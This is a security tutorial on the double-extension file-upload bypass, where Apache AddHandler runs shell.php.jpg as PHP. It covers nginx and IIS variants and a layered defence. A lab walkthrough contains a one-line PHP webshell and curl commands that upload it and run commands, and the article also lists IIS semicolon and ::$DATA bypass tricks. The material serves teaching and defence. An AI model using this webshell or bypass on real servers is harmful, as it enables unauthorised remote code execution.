The double-extension bypass is the case where the upload validator is genuinely correct in isolation, the file passes every reasonable extension check, and the server still executes it as PHP. The bug is not in the application code. It is in the Apache directive that decides which filenames get handed to the PHP handler, and it has been the same one-line misconfiguration since the late 1990s: AddHandler application/x-httpd-php .php. A file named shell.php.jpg has a trailing extension of jpg, which is what every sensible validator checks. Apache, configured with AddHandler, looks at the filename and asks a different question: does this filename contain .php anywhere as an extension segment? It does. The handler fires. The file executes.
This is the deep-dive companion to the file upload vulnerabilities guide, which covers the four validation patterns that fail; this article zooms into Pattern 4. I walk the Apache directive that causes it, the safe configuration pattern that replaces it, the working chain against the upload-basic lab, the equivalent footguns on nginx and IIS, and the defence stack that holds even when the server config is wrong.
In short: what is the double-extension bypass?
The double-extension bypass is a file-upload attack where the attacker names the upload shell.php.jpg (or any name.executable.harmless form), the application validator extracts the trailing extension jpg and accepts the file, and the web server later interprets the file as PHP because its filename contains the .php segment. The root cause is the Apache AddHandler directive, which matches handlers against any extension segment in a filename rather than only the trailing one. The fix at the application layer is an extension allowlist plus a randomised stored filename; the fix at the server layer is to replace AddHandler with SetHandler inside a <FilesMatch \.php$> block, which anchors the match to the trailing extension only. The bug has been documented in Apache's mod_mime notes for two decades, but AddHandler is still the directive most shared-hosting tutorials reach for, which keeps the misconfiguration in production. Allowlisting the extension is not enough on its own when the server is willing to execute by middle-extension; the fix has to land in both places.
The validation pattern this targets
The validator looks reasonable. It blocks the dangerous extensions, in lowercase, against the trailing segment of the filename:
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (in_array($ext, ['php', 'phtml', 'phar', 'php3', 'php4', 'php5'], true)) {
die('Bad file type');
}
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);pathinfo(..., PATHINFO_EXTENSION) returns the segment after the final dot. For shell.php.jpg that is jpg. The blocklist does not match jpg, so the file is accepted and written to disk under its original name. The developer's mental model is that the file is a JPEG and will be served as one. The attacker's mental model is that the file is whatever the web server decides it is, and they are about to nudge the web server toward the wrong answer.
The validator is doing the right computation. The mistake is downstream: trusting that the trailing extension is what Apache will use to pick a handler.
Why Apache executes shell.php.jpg
Apache has two ways to map a filename to a content handler, and the choice between them is the whole bug.
The legacy way is AddHandler, declared either in the main config or in an .htaccess:
AddHandler application/x-httpd-php .phpAddHandler is part of mod_mime. It associates a handler with a file extension, and mod_mime's extension-matching is unanchored: it scans every dot-delimited segment of the filename, in order, and fires the handler if any of them match. For shell.php.jpg, mod_mime sees the segments shell, php, jpg, finds php in the middle, and assigns the PHP handler. The trailing jpg is treated as informational, not as the authoritative type.
This is documented behaviour, not a parser bug. The Apache mod_mime docs say so explicitly: a file can have multiple extensions, and each one can independently contribute metadata (language, encoding, content type, handler). The design predates the web's adversarial reality. It was a feature for serving the same content with different encodings under names like index.html.gz, and it is what kills you when the directive is in front of a user-writable upload directory.
The safe way is SetHandler inside a <FilesMatch> block:
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>SetHandler overrides any handler for the matched files, no extension parsing involved. <FilesMatch> takes a regex against the filename. The \.php$ anchor pins the match to the trailing extension only. shell.php.jpg does not match \.php$; the handler does not fire; Apache serves the file as image/jpeg based on its real trailing extension. Same end result for legitimate PHP files (index.php matches and runs), zero exposure for double-extension uploads.
AddHandler predates the 1.3 line; SetHandler was added in Apache 1.3.4. Both have been in core continuously since. AddHandler is the directive most shared-hosting tutorials still recommend because it is shorter and looks more declarative. That tutorial debt is the reason the bug persists in production in 2026.
Lab walkthrough: shell.php.jpg against upload-basic
The upload-basic lab in techearl-labs reproduces this exactly. Bring it up:
docker compose up upload-basicThe lab listens on http://localhost:8083. The endpoint for this chain is /upload-double-ext.php, which implements the trailing-extension blocklist from the previous section, and writes accepted files to public/uploads/double-ext/. That directory ships with an .htaccess that enables the bug intentionally:
# public/uploads/double-ext/.htaccess
AddHandler application/x-httpd-php .phpThat is the entire trap. The directive is in the upload directory so that any file Apache later serves from this path goes through the unanchored mod_mime extension match.
Write the one-line webshell as shell.php:
<?php echo shell_exec($_GET['c'] ?? 'id'); ?>Make the double-extension copy and post it:
cp shell.php shell.php.jpg
curl -F 'file=@shell.php.jpg' http://localhost:8083/upload-double-ext.phpThe validator runs pathinfo on shell.php.jpg, gets jpg, finds nothing on the blocklist, and writes the file under its original name. Then request the file directly:
curl 'http://localhost:8083/uploads/double-ext/shell.php.jpg?c=id'The response is the output of id running in the container. Two HTTP requests, one webshell, no malformed input. The .htaccess is what closes the loop: replace its single line with the <FilesMatch> form above and the same upload chain ends at a JPEG served as image/jpeg, which the browser then refuses to render because the bytes are PHP.
The lab is bound to 127.0.0.1. Tear it down with docker compose down -v when finished; the -v drops the volume that stores uploaded files between runs.
The nginx equivalent: greedy location regex
The same family of bug exists on nginx and lands the same way. The vulnerable pattern is a location block whose regex matches .php without anchoring:
location ~ \.php {
include fastcgi_params;
fastcgi_pass unix:/run/php/php-fpm.sock;
}location ~ \.php matches any URI that contains .php. A request for /uploads/shell.php.jpg matches, and nginx hands the request to PHP-FPM. PHP-FPM does its own SCRIPT_FILENAME resolution against the on-disk path, and if cgi.fix_pathinfo=1 is set (the historical default), it walks the URI segments to find an existing file that ends in .php and runs that. The same upload, served by nginx with the unanchored location, executes.
The fix is the anchor:
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass unix:/run/php/php-fpm.sock;
}\.php$ only matches URIs whose final extension is php. Combine that with cgi.fix_pathinfo=0 in php.ini and the PHP-FPM-side SCRIPT_FILENAME walk also stops. Both halves matter: the anchored location is the front line, the fix_pathinfo switch is the belt-and-braces.
The bug is structurally identical: a configuration that decides "is this a PHP file?" by substring match instead of trailing-extension match.
The IIS equivalents
IIS has its own historical variants on the same theme, plus two NTFS-specific tricks that are worth knowing about:
Handler mappings on .php. IIS handler mappings can be defined with patterns like *.php or with broader patterns that match middle extensions. A misconfigured FastCGI handler that matches .php anywhere in the path executes the file. The fix is the same shape: anchor the pattern to the trailing extension.
The ; semicolon trick. Older IIS versions (notably IIS 6) treated semicolons in filenames as terminators when picking a handler. A file uploaded as shell.asp;.jpg was matched by the handler for .asp, even though NTFS stored it under the full name. The validator saw .jpg; the handler saw .asp. Patched in IIS 7+, but legacy installs and reverse-proxy paths through older IIS still surface this occasionally.
The ::$DATA alternate-data-stream trick. NTFS exposes alternate data streams via the ::$DATA suffix; a request for shell.asp::$DATA reads the default stream of shell.asp while IIS's extension-matcher (on older versions) ignored the suffix when picking a handler. Same primitive: storage-layer name differs from handler-layer name, attacker controls which one the upload validator sees.
These are mostly historical for greenfield deployments, but they survive in long-tail brownfield (old IIS behind a load balancer, vendor appliances that ship a frozen IIS configuration). The general lesson stands: any time the validator and the handler look at the filename through different rules, the gap between the two rules is the bypass.
The defence stack that holds
The pattern across the parent guide's spokes is consistent: no single check is sufficient, the combination is what defends. For double-extension specifically, the stack is:
1. Extension allowlist, on the trailing extension, lowercased.
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif', 'webp'];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext, true)) {
die('Extension not allowed');
}Allowlists fail closed: an extension you did not enumerate gets rejected. Blocklists fail open: an extension you forgot to enumerate gets accepted. The set of executable extensions on a given Apache or nginx install is open-ended and depends on which handlers ops enabled, which is information the application developer does not own.
2. Magic-byte check against the file body.
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['file']['tmp_name']);
if (!in_array($mime, ['image/jpeg', 'image/png', 'image/gif', 'image/webp'], true)) {
die('Content does not match allowed types');
}A shell.php.jpg whose bytes are raw PHP gets rejected by libmagic (which reports text/x-php or similar). The check rejects the dumbest version of the polyglot. It does not catch a real JPEG with PHP appended to EXIF metadata; combine with the next step.
3. Randomised stored filename.
$stored = bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($_FILES['file']['tmp_name'], '/var/uploads/' . $stored);The attacker no longer controls the filename on disk. shell.php.jpg becomes a3f8e1c2....jpg, with exactly one extension. The double-extension attack class is dead at this step regardless of what the server config does, because there is no longer a .php segment in the filename to match.
4. Serve uploads from a separate domain via a controller.
header('Content-Type: ' . $file->mime);
header('Content-Disposition: attachment; filename="' . $file->safe_name . '"');
header('X-Content-Type-Options: nosniff');
readfile($file->path);Even if everything above fails, the controller sets the Content-Type the application chose, forces a download via Content-Disposition: attachment, and disables browser MIME-sniffing with X-Content-Type-Options: nosniff. Hosting the controller on uploads.example.com rather than www.example.com means any successful XSS in an uploaded HTML or SVG runs in a different origin and cannot reach the main app's cookies.
5. Server-layer fix in the upload directory. Even with the above, the upload directory's handler config should explicitly refuse to execute anything:
<Directory /var/uploads>
Options -ExecCGI
SetHandler default-handler
RemoveHandler .php .phtml .phar
php_flag engine off
</Directory>SetHandler default-handler resets any inherited handler. RemoveHandler strips inherited extension mappings. php_flag engine off disables mod_php for the directory regardless of handler. Belt, braces, and a backup belt.
The combination defeats the double-extension class even on a server whose default config still uses AddHandler somewhere. The fix that I would still ship in the build, however, is the <FilesMatch \.php$> form globally; the per-directory hardening is defence in depth on top of it.
Real-world incidents
The pattern shows up repeatedly in shared-hosting CMS plugin disclosures and in older WordPress upload bugs. A few documented cases:
Apache HTTP Server documentation has warned about this since 2.0. The mod_mime page explicitly notes that a file like welcome.html.fr is treated as a French-language HTML file because both extensions are recognised independently. The same parser sees shell.php.jpg as a PHP image, with predictable consequences. The behaviour is intentional; the warning has been there for two decades.
Multiple WordPress plugin upload bugs across the 2014-2020 window, including several plugins where the validator checked the trailing extension correctly but the host's shared-Apache config used AddHandler in the uploads directory. The plugin disclosures attributed the bug to the plugin; the actual root cause was the server config the plugin inherited from the host. This is the Blueimp jQuery File Upload pattern (CVE-2018-9206): the library assumed an .htaccess would block executable extensions, the assumption broke when Apache 2.3.9 flipped the default of AllowOverride from All to None (a change that persisted into the 2.4 GA line), and a working RCE remained against thousands of forks of the library long after the upstream fix.
Shared-hosting "phpinfo() reveals AddHandler" disclosures. Throughout the 2010s, public bug bounty reports against shared-hosting providers repeatedly traced upload-to-RCE chains to the host's default AddHandler configuration. The application developers had done the right thing; the host had shipped the wrong default; the contract between the two had never been written down.
The lesson is the one CVE-2018-9206 makes loudest: a defence that depends on the surrounding server config is only as durable as the surrounding server config. Assert the behaviour you need in your own config, in code review, in the deploy pipeline. Do not inherit it.
FAQ
Where to go next
- The parent spoke, file upload vulnerabilities, covers all four failing validation patterns end to end and the full defence stack across them.
- The sibling deep dives file upload extension bypass and file upload MIME bypass cover Patterns 2 and 3 respectively, with their own lab walkthroughs.
- Back up to the web application security vulnerabilities taxonomy for the full map of related classes.
Sources
Authoritative references this article was fact-checked against.
- Apache, mod_mime documentationhttpd.apache.org
- OWASP, Unrestricted file uploadowasp.org
- PortSwigger, File uploadportswigger.net





